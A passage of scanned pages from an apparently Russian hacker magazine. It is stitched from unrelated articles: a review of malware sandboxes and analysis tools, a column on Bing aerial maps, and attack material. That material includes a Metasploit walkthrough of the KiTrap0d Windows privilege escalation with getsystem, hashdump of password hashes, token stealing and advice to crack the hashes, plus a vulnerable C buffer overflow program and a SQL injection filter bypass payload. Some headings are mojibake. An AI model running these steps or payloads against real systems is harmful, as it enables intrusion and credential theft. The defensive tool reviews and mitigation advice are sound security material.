стью остается на твоей совести. А, значит, 
нужно иметь представление, где может про-
писать себя малварь в реестре, каким обра-
зом ей удается спрятаться в процессах и где 
частенько хранятся тела вирусов в файловой 
системе. Небольшой автоматический интер-
претатор наиболее характерных для малвари 
действий тут бы не помешал...

THREAT EXPERT
WWW.THREATEXPERT.COMWWW.THREATEXPERT.COM
В пример можно ставить Threat Expert, кото-
рый не отдает анализ на откуп одному только 

пользователю, а сам пытается анализировать 
изменения в системе. Так, если файл упакован 
с помощью криптора или в реестре добавился 
новый ключ для автозапуска, или, например, в 
файле host появились строчки, которые могут 
заблокировать доступ к базам антивирусов — 
словом, зафиксированы характерные для мал-
вари действия — Threat Expert обязательно 
акцентирует на этом внимание. В результате, 
отдельный раздел отчета складывается из 
набора таких «очеловеченных» сообщений, 
напротив каждого из которых выставляется 
степень опасности. Сервис не оставит в неве-
дении и о том, как выглядит программа после 
запуска: если у той есть GUI-интерфейс, то в 
отчете будет представлен ее скриншот. Круто? 
Это еще не все, поведенческий анализатор 
дополняется проверкой файла сразу несколь-
кими антивирусами. В итоге мы получаем 
вариант «Два в одном»: функциональность 
CWSAndbox и, одновременно, VirusTotal 
(правда, с намного меньшим количеством 
поддерживаемых антивирусов). Файл для про-
верки можно отправить через веб-интерфейс 
или специально разработанную утилиту, но в 
обоих случаях необходима предварительная 
регистрация в сервисе.

ANUBIS
ANUBIS.ISECLAB.ORGANUBIS.ISECLAB.ORG
Единственное, чего, пожалуй, не хватает отче-
там Threat Expert и других анализаторов, — 
это данных о том, что передавало приложение 
в Сеть. Да, все сетевые соединения фикси-
руются и даже, зная их природу, можно уже 
многое сказать… но как точно узнать, что пере-
давало приложение? В случае с «песочницей» 
и виртуальной машиной трафик приложе-
ния легко снифается любым мало-мальски 
рабочим снифером. Почему такую опцию не 
прикрутили рассмотренные анализаторы, 
непонятно, но зато ей может похвастать дру-
гой сервис — Anubis. К отчету о деятельности 
программы прикладывается pcap-файл со 
всем отснифанным трафиком, который легко 
обрабатывается с помощью мощнейшего 
Wireshark'а, умеющего расшифровывать 
ошеломляющее количество протоколов, и 
Network Miner (networkminer.sourceforge.net), 
специально предназначенного для офлайн-
анализа и сбора интересных данных. Мало 
того, в сам Anubis встроен анализатор трафика 
для наиболее популярных протоколов. Если 
приложение обменивается по HTTP, то сер-
вис вложит в отчет урезанный лог общения. 
Вообще, качество сканирования оставляет 
самое приятное впечатление: приводится не 
просто отчет о деятельности системы, но и 
анализ характерной для вирусов активности. 
Единственный минус системы — довольно 
медленная скорость работы.

COMODO INSTANT MALWARE ANALYSIS
CAMAS.COMODO.COMCAMAS.COMODO.COM
Онлайн-анализатор от компании Comodo рас-
кручен намного меньше: очереди на сканиро-

ИНТЕРФЕЙС УПРАВЛЕНИЯ «ПЕСОЧНИЦЕЙ»

РЕЗУЛЬТАТ АНАЛИЗА ФАЙЛА CWSANDBOX'ОМ
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вание постоянно пустые, а сам сканер чертов-
ски быстр. К тому же, большая популярность 
CWSandbox и Threat Expert нередко выходит 
им боком. Особо продвинутая малварь умеет 
распознавать виртуальное окружение, и, 
смекнув, что запущена под виртуалкой или 
«песочницей», не производит каких-либо 
подозрительных действий. Анализатор 
Comodo намного менее известен, поэтому 
разработчики едва ли тратят время на его 
распознавание. При этом, сам сканер весьма 
неплох: в самые кратчайшие сроки он прово-
дит глубокое исследование и выдает удобный 
для анализа отчет, в котором помимо прочего 
выводится информация о выполненных DNS/
HTTP-запросах, вызовах API-функций, под-
груженных в память DLL-библиотеках и т.д. 
Весь этот набор полезной информации поды-
тоживает вердикт, может ли файл оказаться 
малварью или, скорее всего, нет.

MANDIANT RED CURTAIN
WWW.MANDIANT.COM
Свой вердикт выносит и анализатор Mandiant 
Red Curtain, реализованный в виде отдельно-
го приложения. Для исследуемого PE-файла 
подсчитываются так называемые очки: чем 
их больше, тем выше шанс, что приложение 
окажется вирусом. Очки проставляются исходя 
из целого ряда критериев, где, помимо ряда 
стандартных проверок, учитывается интерес-
ный параметр — энтропия кода, под которой 
понимается мера дезорганизации и случай-
ности. Авторы малвари намеренно запутывают 
код, выполняя с помощью различных методик 
его обфускацию, добавляя многочисленные 
ветвления и т.д. (вспомни «спагетти-код»). Для 
таких исполняемых файлов показатель энтро-
пии, посчитанный Mandiant Red Curtain, выше, 
чем для обычного неупакованного приложения, 
и анализатор придает этому большое значение.

PEID
PEID.HAS.IT
 Еще одним косвенным признаком того, что 
приложению есть что скрывать, является 
использование криптора/упаковщика. Таким 
образом, во-первых, усложняется реверсинг 
тела, а, во-вторых, удается скрыться от сиг-

натурных баз и эвристических механизмов 
антивирусов. Определить факт использо-
вания криптора и, зачастую, название упа-
ковщика поможет утилита PEiD. На текущий 
момент с ее помощью определяется более 
600 различных сигнатур для PE-файлов, 
отображая помимо пакера/криптора, еще 
и предполагаемый компилятор. Помимо 
оригинальной программы, существует над-
стройка в виде скрипта на Python nPEid 
(http://www.malforge.com/npeid/npeid.
zip). Он умеет обрабатывать pcap-файлы с 
отснифанным трафиком для поиска закрип-
тованных PE-файлов, которые потенциально 
могут быть опасны. Впрочем, ждать от PEiD 
чуда не приходится: приватные крипторы 
ему не по зубам.

OSAM
WWW.ONLINE-SOLUTIONS.RU/
PRODUCTS/OSAM-AUTORUN-
MANAGER.HTML
Как бы ни был закриптован руткит, ему все 
равно нужно как-то обосноваться в системе, 
обеспечив себе автоматический запуск после 
ребута. Поэтому особую ценность представля-
ет утилита Online Solutions Autorun Manager, 
которая распознает практически все извест-
ные способы автоматической загрузки. 
Производится ли скрытый запуск драйвера 
руткита или речь о других скрытых ключах в 
реестре — неважно. OSAM с большой вероят-
ностью детектирует любой вариант. Понятно, 
если для поиска руткита в реестре использо-
вать обычный редактор реестра, то шансы на 
положительный результат будут небольшие. 
Перехватив вызов соответствующих API-
функций (RegQueryValue, RegOpenKey и т.д.), 
руткит вернет подчищенный результат. Чтобы 
не обломаться подобным образом, OSAM 
сам парсит файл с реестром и не использует 
системных функций ОС. Кстати говоря, слово 
«Online» в названии программы неслучайно: 
все процессы, найденные в автозапуске, 
можно пробить по специальной базе, отпра-
вив запрос с хешем файла или сам файл на 
анализ. В отчете о сканировании для каждо-
го элемента автозагрузки приводится рейтинг 
надежности.

PDFID
BLOG.DIDIERSTEVENS.COM/
PROGRAMS/PDF-TOOLS
До этого момента мы рассматривали случай, 
когда угрозу представляют исполняемые 
файлы. Но если посмотреть на статистику 
сплоитов за последние полгода, станет 
очевидным еще один внушительный вектор 
атак. Это PDF-файлы с инжектированными 
сплоитами, которые эксплуатируют много-
численные уязвимости Adobe Reader. Если 
по несчастному Internet Explorer уже про-
шлись вдоль и поперек, то Adobe Reader 
оказался непаханым полем для хакеров, 
при этом продукт имеет огромное распро-
странение. Для эксплуатации критических 
уязвимостей, как и в сплоитах для браузера, 
чаще всего используется код на JavaScript, 
который может быть вставлен в PDF-файлы 
несколькими способами. Вообще, если в 
PDF есть вставки на JavaScript, то файл, 
скорее всего, действительно опасен, но 
как это определить? Самый очевидный 
путь — распарсить PDF-файл на блоки и 
посмотреть, что там внутри, но это сложный 
процесс. Легче выполнить в PDF поиск по 
нескольким ключевым словам, наличие 
которых позволяет сделать вывод о вкра-
плениях кода на JavaScript'е. Например, 
«/JS» или «/JavaScript» явно указывают, что 
документ содержит JS-код. Другие два клю-
чевых слова — «/AA» и «/OpenAction» — 
сигнализируют о том, что в файле про-
писано автоматическое действие, которое 
выполняется в момент чтения документа. 
Именно эту возможность PDF малварь 
использует для запуска JS-сценария без 
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В ОТЧЕТЕ ANUBIS ЕСТЬ ССЫЛКА ДЛЯ СКАЧКИ PCAP-ФАЙЛА С ДАМПОМ 
ТРАФИКА

ИЩЕМ В PDF-ФАЙЛЕ ПРИЗНАКИ 
СПЛОИТА НА JS
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участия пользователя, поэтому к подобным документам 
стоит отнестись с осторожностью. Выполнить быстрый 
поиск таких строк позволяет утилита PDFiD, входящая в 
набор PDF Tools и написанная на Python'е. Если резуль-
таты поиска явно укажут, что в документе находятся 
фрагменты на JS, можно попробовать извлечь их с 
помощью другой утилиты из набора — pdf-parser. А вот 
для анализа JS-кода уже придется использовать другие 
инструменты.

WEPAWET
WEPAWET.ISECLAB.ORG
Вышеупомянутые онлайн-сервисы в основном зани-
мались обработкой PE-файлов. А вот проект Wepawet 
специализируется исключительно на проверке подо-
зрительных PDF, HTML и Flash документов — в любой 
из них может быть инжектирован зловредный код. 
В основе Wepawet лежит мощный движок, который 
справляется со многими приемами обфускации кода, 
а также сигнатурная база для определения заразы. 
Если в документе обнаружится малварь, Wepawet 
выдаст подробный отчет, а зачастую даже ссылки 
с описанием уязвимостей, которые эксплуатируют 
найденные в документе сплоиты. Wepawet — еще и 
отличный помощник в дешифровании JS-скриптов, 
вкрапленных в HTML, когда ручной анализ сильно 
затруднен и занимает много времени. Для SWF-
файлов также выводится информация об обфуска-
ции кода и статистика по вызовам различных функ-
ций, а в некоторых случаях — даже автоматически 
извлекается шелл-код!

MALWARE URL
WWW.MALWAREURL.COM
Если изучаемый документ ссылается на объект, рас-
положенный на другом ресурсе, Wepawet обязатель-

но пробивает его по базе Malware URL. Этот ресурс 
в автоматическом режиме собирает подозрительные 
линки и проверяет закачанные файлы четырьмя 
анализаторами (VirusTotal, Wepawet, Anubis, Threat 
Expert), составляя сводный отчет. База постоянно 
растет: сейчас в ней более пятидесяти тысяч запи-
сей об опасных ресурсах, с которых осуществляется 
загрузка малвари. После регистрации каждый может 
скачать и использовать базу в своих целях, а также 
получать обновления через RSS. К тому же, это удоб-
нейшая штука, когда нужно собрать свежих образцов 
разной заразы :).

ËÀÁÎÐÀÒÎÐÈß ÇÀÊÐÛÒÀ, ÏÐÈÕÎÄÈÒÅ ÇÀÂÒÐÀ!
Чтобы распознать опасный файл, необязательно ревер-
сить его тело и разбираться во внутренностях. Зачастую 
признаки малвари находятся на поверхности, а рас-
познать их можно вполне простыми инструментами. 
Ведь недаром разработчики малвари больше всего 
боятся проактивных технологий, изучающих поведение 
программы после запуска. Тут уж действительно очень 
сложно что-либо утаить. z
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ПОДСЧИТАННЫЕ РЕЙТИНГИ НАДЕЖНОСТИ ДЛЯ РАЗНЫХ ПРОГРАММ

ОПРЕДЕЛЯЕМ КРИПТОР/УПАКОВЩИК

• Для реализа-
ции «песочницы» 
существует до-
статочно много 
разных продуктов, 
в том числе Returnil 
Virtual System (www.
returnilvirtualsystem.
com). 

• В случае исполь-
зования встроенной 
«песочницы» Windows 
для изолированного 
приложения виртуа-
лизируется далеко не 
вся система, а лишь 
ряд важных элемен-
тов: папки Program 
Files, Windows, Users\
%AllUsersProfile%\
ProgramData, Docu -
ments and Settings 
и ветвь реестра HKLM\
Software.

• Есть еще один 
толковый онлайн-
сервис, который не 
попал в наш обзор. 
Это Norman Sandbox 
(www.norman.com/
security_center/
security_tools/submit_
file/en) от норвежских 
специалистов по 
информационной 
безопасности.

info

INFO

dvd

DVD

Все программы 
и скрипты, которые 
упоминались в мате-
риале, ждут тебя на 
нашем DVD.

Шпаргалка по анали-
зу приложения:
tinyurl.com/reverse-
malware-sheet.

links

HTTP://WWW

БАЗА ДАННЫХ С ИНФОРМАЦИЕЙ ОБ ОПАС-
НЫХ РЕСУРСАХ, ОТКУДА ПРОИЗВОДИТСЯ 
ЗАГРУЗКА ЗАРАЗЫ

АНАЛИЗ СТРАНИЦЫ СО СПЛОИТОМ
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Â 
нынешнем году 19 января стала 
публичной 0-day уязвимость, по-
зволяющая выполнить повышение 
привилегий в любой версии Windows, 
начиная от NT 3.1, выпущенной в еще 

в 1993 году, и заканчивая новомодной «семер-
кой». На exploit-db.com хакером Tavis Ormandy 
были опубликованы как исходники сплоита 
KiTrap0d, так и скомпилированный бинарник, 
готовый к применению. Опробовать оригиналь-
ный сплоит может любой желающий. Для этого 
нужно лишь извлечь из архива vdmexploit.dll и 
vdmallowed.exe, каким-либо образом передать 
на машину-жертву, и там запустить exe-шник. 
В результате, независимо от того, под акка-
унтом какого пользователя выполнен запуск, 
появится консоль с привилегиями системного 
пользователя, то есть NT AUTHORITY\SYSTEM. 
Проверки ради можно запустить сплоит на сво-
ей машине, предварительно залогинившись 
в систему под обычным пользователем. После 
запуска сплоита откроется новое окно cmd.exe 
с максимальными привилегиями. Что это дает? 
Представь ситуацию, что сплоит пробивает 
некоторое приложение и получает шелл на 
удаленном компьютере. Пускай это будет сплоит 
для Internet Explorer — в этом случае у взлом-
щика на руках будет доступ к системе с правами 
того пользователя, под учеткой которого был за-

пущен браузер. Не спорю, очень часто это будет 
аккаунт с правами администратора (пользова-
тель сам виноват), но если нет? Вот здесь-то и 
можно заюзать KiTrap0d, чтобы поднять свои 
привилегии до NT AUTHORITY\SYSTEM! Мало 
того, даже те пользователи, которые входят в 
группу администратора, не могут обращаться 
к некоторым участкам системы, например, для 
чтения хешей паролей пользователей (об этом 
ниже). А NT системный акаунт — может! При 
всем этом, на момент публикации статьи ни 
одного патча со стороны Microsoft, закрываю-
щего уязвимость, выпущено не было.

ÎÏÅÐÀÖÈß «ÇÀÕÂÀÒ ÑÈÑÒÅÌÛ»
Демонстрировать в действии оригинальный 
сплоит мы не будем, потому как 25 января в 
Metasploit был добавлен новый скрипт, благо-
даря которому использовать KiTrap0d стало 
еще удобнее. Первоначально попавший в 
базы модулей вариант был нестабилен и 
срабатывал не всегда, но не прошло и пол-
дня, как все ошибки были устранены. Сейчас 
модуль закачивается вместе со всеми осталь-
ными обновлениями, так что для установки 
достаточно выбрать пункт в меню «Metasploit 
update». Теперь, имея доступ к удаленной 
системе, можно набрать «run kitrap0d» и 
привести сплоит в действие. «Но раз пошла 

такая пьянка, реализуем-ка мы для этого дела 
специальную команду», — подумали разра-
ботчики Metasploit. В результате получилась 
замечательная такая команда «повысить 
привилегии», доступная через расширение 
meterpreter, — нам она очень нравится :).
Итак, у нас есть доступ к удаленной системе 
(наглядный пример эксплуатирования при-
веден в статье «Операция «Аврора») и мы 
находимся в консоли метасплоита. Посмотрим, 
как у нас обстоят дела с правами:

meterpreter > getuid

Server username: WINXPSP3\user

Ага, обычный пользователь. Быть может, он 
даже входит в группу администраторов, но 
нам это неважно. Подключаем модуль, в кото-
ром реализована интересующая нас команда 
getsystem, и проверим, погрузилась ли она, 
отобразив на экране справку:

meterpreter > use priv

Loading extension priv...success.

meterpreter > getsystem -h

Usage: getsystem [options]

Attempt to elevate your privilege 

to that of local system.

OPTIONS:
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ÁÓÊÂÀËÜÍÎ ÇÀ ÍÅÑÊÎËÜÊÎ ÄÍÅÉ ÏÅÐÅÄ ÑÄÀ×ÅÉ ÍÎÌÅÐÀ Â ÏÅ×ÀÒÜ METASPLOIT 
ÎÁÇÀÂÅËÑß ÑÂÅÆÅÍÜÊÈÌ ÌÎÄÓËÅÌ, ÏÐÎ ÊÎÒÎÐÛÉ ÌÛ ÏÐÎÑÒÎ ÍÅ ÌÎÃËÈ 
ÍÅ ÐÀÑÑÊÀÇÀÒÜ. ÁËÀÃÎÄÀÐß ÍÎÂÎÉ ÊÎÌÀÍÄÅ GETSYSTEM, ÍÀ ÑÊÎÌÏÐÎÌÅÒÈÐÎ-
ÂÀÍÍÎÉ ÑÈÑÒÅÌÅ ÑÒÀËÎ ÂÎÇÌÎÆÍÎ ÏÅÐÅÉÒÈ ÈÇ USER LEVEL Â RING0, ÏÎËÓ×ÈÂ 
ÏÐÀÂÀ NT AUTHORITY\SYSTEM! È ÝÒÎ — Â ËÞÁÛÕ ÂÅÐÑÈßÕ ÂÈÍÄÛ.

ÄÎËÎÉ USERLEVEL!
ÏÎÂÛØÀÅÌ ÏÐÈÂÈËÅÃÈÈ 
ÄÎ NT AUTHORITY\SYSTEM Â ËÞÁÎÉ 
ÂÅÐÑÈÈ WINDOWS

 NT AUTHORITY\SYSTEM

 NT AUTHORITY\SYSTEM

GETSYSTEM
GETSYSTEM
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-h Help Banner.

-t The technique to use. (Default 

to '0').

0 : All techniques available

1 : Service — Named Pipe 

Impersonation (In Memory/Admin)

2 : Service — Named Pipe 

Impersonation (Dropper/Admin)

3 : Service — Token Duplication 

(In Memory/Admin)

4 : Exploit — KiTrap0D (In Memory/

User)

Как видно, сплоит KiTrap0D реализует лишь 
часть функциональности команды. Если тебе уда-
лось отхватить шелл с пользователем, у которого 
уже есть права администратора, то для поднятия 
до уровня NT AUTHORITY\SYSTEM можно исполь-
зовать три другие техники (выбрать нужную 
позволяет ключ -t). Так или иначе, не указав 
вообще никаких параметров, мы укажем мета-
сплоиту, что тот может использовать любой из 
подходов. В том числе и KiTrap0D, что повысит 
наши привилегии до уровня «Система», какими 
бы правами мы сейчас ни обладали. 

meterpreter > getsystem

...got system (via technique 4).

Ага, получили сообщение об успешном повы-
шении привилегий, причем для атаки исполь-
зовался именно KiTrap0D — видимо, у него 
приоритет. Действительно ли мы поднялись в 
системе? Проверим наш текущий UID (иденти-
фикатор пользователя):

meterpreter > getuid

Server username: NT AUTHORITY\

SYSTEM

Есть! Всего одна команда в консоли мета-
сплоита и права NT AUTHORITY\SYSTEM у 
нас в кармане. Далее, вообще говоря, можно 
все. При этом напомню, ни одного патча от 
Microsoft на момент выхода журнала еще не 
было.

ÄÀÌÏÈÌ ÏÀÐÎËÈ
Раз уж на руках есть доступ к системному 
аккаунту, то надо извлечь из этого что-
нибудь полезное. В арсенале Metasploit есть 
замечательная команда hashdump — более 
продвинутая версия известной утилиты 
pwdump. Более того, в последней версии 
метасплоита включен переработанный вари-
ант скрипта, который использует модерни-
зированный принцип извлечения LANMAN/
NTLM хешей и пока не детектируется 
антивирусами. Но смысл не в этом. Важно, 
что для выполнения команды hashdump 
необходимы права NT AUTHORITY\SYSTEM. 
В противном случае программа выдаст 
ошибку «[-] priv_passwd_get_sam_hashes: 
Operation failed: 87». Происходит это потому, 
что LANMAN/NTLM-хеши паролей пользова-
телей хранятся в специальных ветвях рее-
стра HKEY_LOCAL_MACHINE\SAM и HKEY_
LOCAL_MACHINE\SECURITY, которые недо-
ступны даже администраторам. Их можно 
прочитать только с привилегиями системно-
го аккаунта. Вообще говоря, использовать 

сплоит и затем команду hashdump для того, 
чтобы локально извлечь из реестра хеша, 
совсем не обязательно. Но если такая воз-
можность есть, почему бы и нет?

meterpreter > getuid

Server username: NT AUTHORITY\

SYSTEM

meterpreter > run hashdump

[*] Obtaining the boot key...

[*] Calculating the hboot key 

using SYSKEY 3ed7[...]

[*] Obtaining the user list and 

keys...

[*] Decrypting user keys...

[*] Dumping password hashes...

Administrator:500:aad2bbbe2b51404e

eaad3b435b514ee:...

Guest:501:aad3b435baaaaeaa3b435d3b

435b514aae04ee:...

HelpAssistant:1000:cefa2909bd5b0f4

602168042f2f646:...

Хеши получены. Остается скормить их какому-
нибудь из брутфорсеров, например, l0phtcrack 
(www.l0phtcrack.com).

КЛЮЧЕВЫЕ СТРОЧКИ В ИСХОД-
НИКЕ СПЛОИТА

ОРИГИНАЛЬНАЯ ВЕРСИЯ KITRAP0D В ДЕЙСТВИИ

КРАДЕМ ТОКЕН НУЖНОГО ПРОЦЕССА

ЧТОБЫ НЕ ПАРИТЬСЯ С ГРУППО-
ВЫМИ ПОЛИТИКАМИ, MICROSOFT 
ПРЕДЛАГАЕТ АВТОМАТИЧЕСКИЙ 
СКРИПТ FIXIT! ДЛЯ ВРЕМЕННОГО 
РЕШЕНИЯ ДАННОЙ ПРОБЛЕМЫ

ПОЛУЧАЕМ СИСТЕМНЫЙ АККА-
УНТ В МЕТАСПЛОИТЕ
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ÊÀÊ ÂÅÐÍÓÒÜ ÏÐÈÂÈËÅÃÈÈ?
Забавная ситуация произошла, когда я попытался вернуть 
права обычного пользователя обратно. Найденная коман-
да rev2self не срабатывала, и я по-прежнему оставался 
«NT AUTHORITY\SYSTEM»: видимо, она предназначена 
для работы с тремя другими подходами, реализованными 
в getsystem. Оказалось, чтобы вернуть привилегии, необ-
ходимо «украсть» токен процесса, запущенного тем поль-
зователем, который нам нужен. Поэтому отображаем все 
процессы командой ps и выбираем из них подходящий:

meterpreter > ps

Process list

============

PID Name Arch User Path

--- ---- ---- ---- ----

0 [System Process] 

4 System x86 NT AUTHORITY\SYSTEM 

370 smss.exe x86 NT AUTHORITY\SYSTEM \

SystemRoot\System32\smss.exe

...

1558 explorer.exe x86 WINXPSP3\user C:\

WINDOWS\Explorer.EXE

...

Как мы видим, explorer.exe запущен как раз под обычным 
пользовательским аккаунтом и имеет PID=1560. Теперь, 
собственно, можно и «украть токен», заюзав команду 
steal_token. В качестве единственного параметра ей пере-
дается PID нужного процесса:

meterpreter > steal_token 1558

Stolen token with username: WINXPSP3\user

meterpreter > getuid

Server username: WINXPSP3\user

Судя по полю «Server username», операция выполнилась 
успешно. 

ÊÀÊ ÝÒÎ ÐÀÁÎÒÀÅÒ?
Напоследок стоит рассказать о природе уязвимости, 
приведшей к появлению сплоита. Брешь в защите 
возникает по вине ошибки в обработчике системно-
го прерывания #GP (который называется nt!KiTrap). 
Из-за нее с привилегиями ядра может быть выполнен 
произвольный код. Это происходит, потому что систе-
ма неправильно проверяет некоторые вызовы BIOS'а, 
когда на 32-битной x86-платформе выполняется 
16-битное приложение. Для эксплуатации уязвимости 
сплоит создает 16-битное приложение (%windir% \
twunk_16.exe), манипулирует с некоторыми системны-
ми структурами и вызывает функцию NtVdmControl(), 
чтобы стартовать Windows Virtual DOS Machine (aka 
подсистма NTVDM), что в результате предыдущих 
манипуляций приводит к вызову обработчика систем-
ного прерывания #GP и срабатыванию сплоита. 
Кстати говоря, отсюда вытекает и единственное 
ограничение сплоита, который срабатывает только 
на 32-битных системах. В 64-битных операционках 
банально нет эмулятора для запуска 16-битных при-
ложений.
Почему информация с готовым сплоитом попала 
в публичный доступ? О наличии уязвимости автор 
сплоита информировал Microsoft еще в начале про-
шлого года и даже получил подтверждение, что его 
отчет был принят к рассмотрению. Только воз и ныне 
там. За год официального патча от компании не 
последовало, и автор решил опубликовать инфор-
мацию публично, надеясь, что дело пойдет быстрее. 
Посмотрим, выйдет ли заплатка к моменту появления 
журнала в продаже :)? z
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ДАМП ХЕШЕЙ ПАРОЛЕЙ ПОЛЬЗОВАТЕЛЯ ВОЗМОЖНО ПОЛУЧАТЬ 
ТОЛЬКО С ПРАВАМИ NT AUTHORITY\SYSTEM

ЗАПРЕЩАЕМ ДОСТУП К 16-БИТНЫМ ПРОГРАММАМ В «СЕМЕРКЕ»

Описание уязвимости 
от автора сплоита:
archives.

neohapsis.com/

archives/fulldisclosure/

2010-01/0346.html.

• Временное ре-
шение для устра-
нения проблемы от 
Microsoft: support.

microsoft.com/

kb/979682.

links

HTTP://WWW

info
Информация пред-
ставлена в образо-
вательных целях. 
Использование ее 
в противозаконных 
целях может повлечь 
за собой уголовную 
ответственность.

WARNING

ÊÀÊ ÎÁÅÇÎÏÀÑÈÒÜ ÑÅÁß 
ÎÒ ÑÏËÎÈÒÀ

Поскольку полноценного обновления для 
решения уязвимости пока нет, придет-
ся воспользоваться обходными путями. 
Самый надежный вариант — отключить 
MSDOS и WOWEXEC подсистемы, что 
сразу лишит сплоит функциональности, 
т.к. он больше не сможет вызывать функ-
цию NtVdmControl() для запуска NTVDM-
системы. В старых версиях Windows это 
реализуется через реестр, в котором нужно 
найти ветку HKEY_LOCAL_MACHINE\
SYSTEM\CurrentControlSet\Control\WOW и 
добавить какой-нибудь символ к ее назва-
нию. Для современных ОС устанавливать 
ограничение на запуск 16-битных при-
ложений надо через групповые политики. 
Для этого вызываем GPEDIT.MSC, далее 
переходим в раздел «Конфигурация поль-
зователя/Административные шаблоны/
Компоненты Windows/Совместимость 
приложений» и активируем опцию 
«Запрещение доступа к 16-разрядным при-
ложениям».
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  СТЕПАН «STEP» ИЛЬИН TWITTER.COM/STEPAH

Ровно пять лет назад, 8 февраля 2005 года, 
был впервые представлен сервис Google 
Maps. То, что когда-то казалось прерогативой 
спецслужб и игрушкой в руках режиссе-
ра блокбастеров, стало доступно каждому. 
Вспомни сам, как искал свой дом на снимке 
со спутника и как, вероятно, расстраивался, 
если твоего города не было в хорошем раз-
решении. За столько лет изменилось многое: 
разработчикам был представлен API для рабо-
ты с сервисом, на котором сейчас построен 
миллион и еще один проект, векторные карты 
дополнились, спутниковые снимки обнови-
лись, а к возможности понаблюдать за Землей 
с орбиты добавился нереальный эффект 
присутствия благодаря режиму Streets View. 
За счет отснятых на специальные камеры 
панорамных изображений стало возможным 
покататься по многим городам мира на маши-
не и смотреть на 360 градусов по сторонам. 
Правда, Google пока оставил за бортом города 
России, но, к счастью, про Родину не забыл 
Яндекс, который начал с малого — снятой 
подобным образом Москвы :). Впрочем... это 
уже давно не торкает — привычно и обыденно, 
все-таки который год используем. А вот, что 
действительно меня заставило почувствовать 
«Вау!»-эффект, так это режим Bird's Eye сер-
виса Microsoft Bing (www.bing.com/maps).
Скажи, что можно увидеть на обычных спут-
никовых снимках города? Одинаковые крыши 
домов и причудливые тени высоких зданий, 
очертания которых с такого угла съемки не 
узнать, — одна картина, что Лондон, что 
Париж, что Москва. Снимки Bird's Eye («пти-
чий глаз») — кардинально другое дело. Вместо 
изображений со спутника используются аэро-
фотоснимки, снятые под углом 45 градусов и 
позволяющие посмотреть на город, как если 
бы ты сам летел на самолете, различая не 

то чтобы даже здания, но и подчас вывески 
отелей, модели машин и силуэты людей. Мало 
этого, одно и то же место можно посмотреть 
со всех четырех сторон, крутя изображения, 
как если бы это был город в SimCity. Словом, 
мега-вещь!
Если какое-то место тебя особенно заинте-
ресовало, то можешь «проехаться» по нему 
с помощью GoogleStreet's, причем сервисы 
можно удобно связать между собой благодаря 
инструменту DualMaps (www.mapchannels.
com/dualmaps.aspx). Ничего не мешает сде-
лать и свое решение, документация для раз-
работчиков и описание API есть на bing.com/
developers. Увы, для просмотра пока доступны 
только сотня городов США, Канады и Японии, 
а также 80 локаций в Европе — то, что успела 
отснять компания Pictometry, у которой до 
России пока руки не дошли. Нельзя и скачать 

карты для офлайн-просмотра, правда, на 
форуме разработчиков SAS.Планета (sasgis.
ru/sasplaneta), замечательной программы для 
кэширования изображений с картографиче-
ских сервисов, говорят, что способ совладать с 
Bing'ом уже найден и скоро будет реализован.
Интересно, что аналогичной функции пока 
официально нет ни у Google, ни у Yahoo (зато 
для стран Скандинавии есть у компании 
Eniro: www.eniro.com). Но это только пока! 
Если немного покопаться, то можно найти 
проект Googlebuildingmaker (sketchup.google.
com/3dwarehouse/buildingmaker), в котором 
каждый может помочь компании в создании 
3D-объектов разных зданий. А теперь угадай, 
на основе чего создаются 3D-модели? Как 
раз аэрофотоснимков! Любой желающий 
открывает изображение города, для которого 
имеется аэрофотосъемка, выбирает здание и 
с помощью простых инструментов рисует его 
каркас. Google, в свою очередь, обрабатывает 
данные, извлекает в соответствии с каркасом 
нужные участки фотографий, снятых с 4-х 
разных сторон, и выдает готовый 3D-объект 
(его можно скачать и использовать в других 
программах). Результат (правда, пока очень 
скудный) уже сейчас можно посмотреть, 
подключив в программе GoogleEarth (earth.
google.com/intl/ru) соответствующий слой.
Напоследок — интересная деталь. На самом 
деле, одновременно с GoogleMaps, то есть 5 
лет назад, был представлен и просмотр аэро-
фотоснимков онлайн. Не в виде довольно 
тормозного веб-сервиса на Silverlight, а с 
помощью программы VirtualEarth, которую мы 
не раз выкладывали на диске :). z

КОЛОНКА ÐÅÄÀÊÒÎÐÀ 
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ЗАДАЧА:   ПЕРЕДАТЬ УПРАВЛЕНИЕ ПО 
ОПРЕДЕЛЕННОМУ АДРЕСУ В ПАМЯТИ 
ПОСРЕДСТВОМ BUFFER OVERFLOW

 
РЕШЕНИЕ:
Это, так сказать, один из первых шагов в написании эксплоитов и шелл-кодов 
для программ, подверженных переполнению стека. Я не буду рассказывать про 
все аспекты работы с памятью, затрону лишь основное. Итак, имеем уязвимую 
программу:

#include "stdio.h"

void return_input (char *s) {

  char array[12];

  strcpy(array,s);

  printf("%s\n", array);
}

char text () {

  printf("Example\n");

}

main ( int argc, char *argv[] ) {

  text();

  return_input(argv[1]);

  return 0;

}

В этом случае переменная array объявлена с установленным размером в 12 
байт, но при копировании проверки на длину данных не происходит. Скомпи-
лируем и попробуем передать программе больше 30 байт:

spyder@l33t:~/c> ./bof AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAA

Example

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Îøèáêà ñåãìåíòèðîâàíèÿ (core dumped)

Посмотрим на дамп памяти:

spyder@l33t:~/c> gdb bof core

............................

Core was generated by './bof AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAA'.
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ХАКЕРСКИЕ 
СЕКРЕТЫ 
ПРОСТЫХ 
ВЕЩЕЙ 

ЗАДАЧА:  ОБОЙТИ ФИЛЬТРАЦИЮ СИМ-
ВОЛОВ ЗАПЯТОЙ ПРИ ПРОВЕДЕНИИ 
SQL-INJECTION

РЕШЕНИЕ:
Задача не банальная. Хоть и встречается редко, но, как правило, ставит в 
тупик многих людей. Допустим, мы имеем такой код:

<?php

if(isset($_GET['id']) && $_GET['id']!=''){

$replaced = preg_replace(/,/,'',$_GET);

.... 

çäåñü êàêèå-òî çàïðîñû ñ èñïîëüçîâàíèåì ïåðåìåííîé $replaced

К чему же мы приходим? Невозможно использовать конструкцию union 
select, если в запросе участвует больше 2-х полей. ОК, крутим как слепую, 
скажешь ты. Но в данном случае большинство известных способов, таких 
как использование функций substring(), mid(), ExtractValue(), а также 
последние наработки Qwazar’a в области раскрутки слепых инъекций 
работать не будут. Что же делать? Будем использовать логику SQL-выра-
жений, и здесь поможет нам LIKE.
Для начала узнаем версию:

id=1 and version() like '4%'-- 

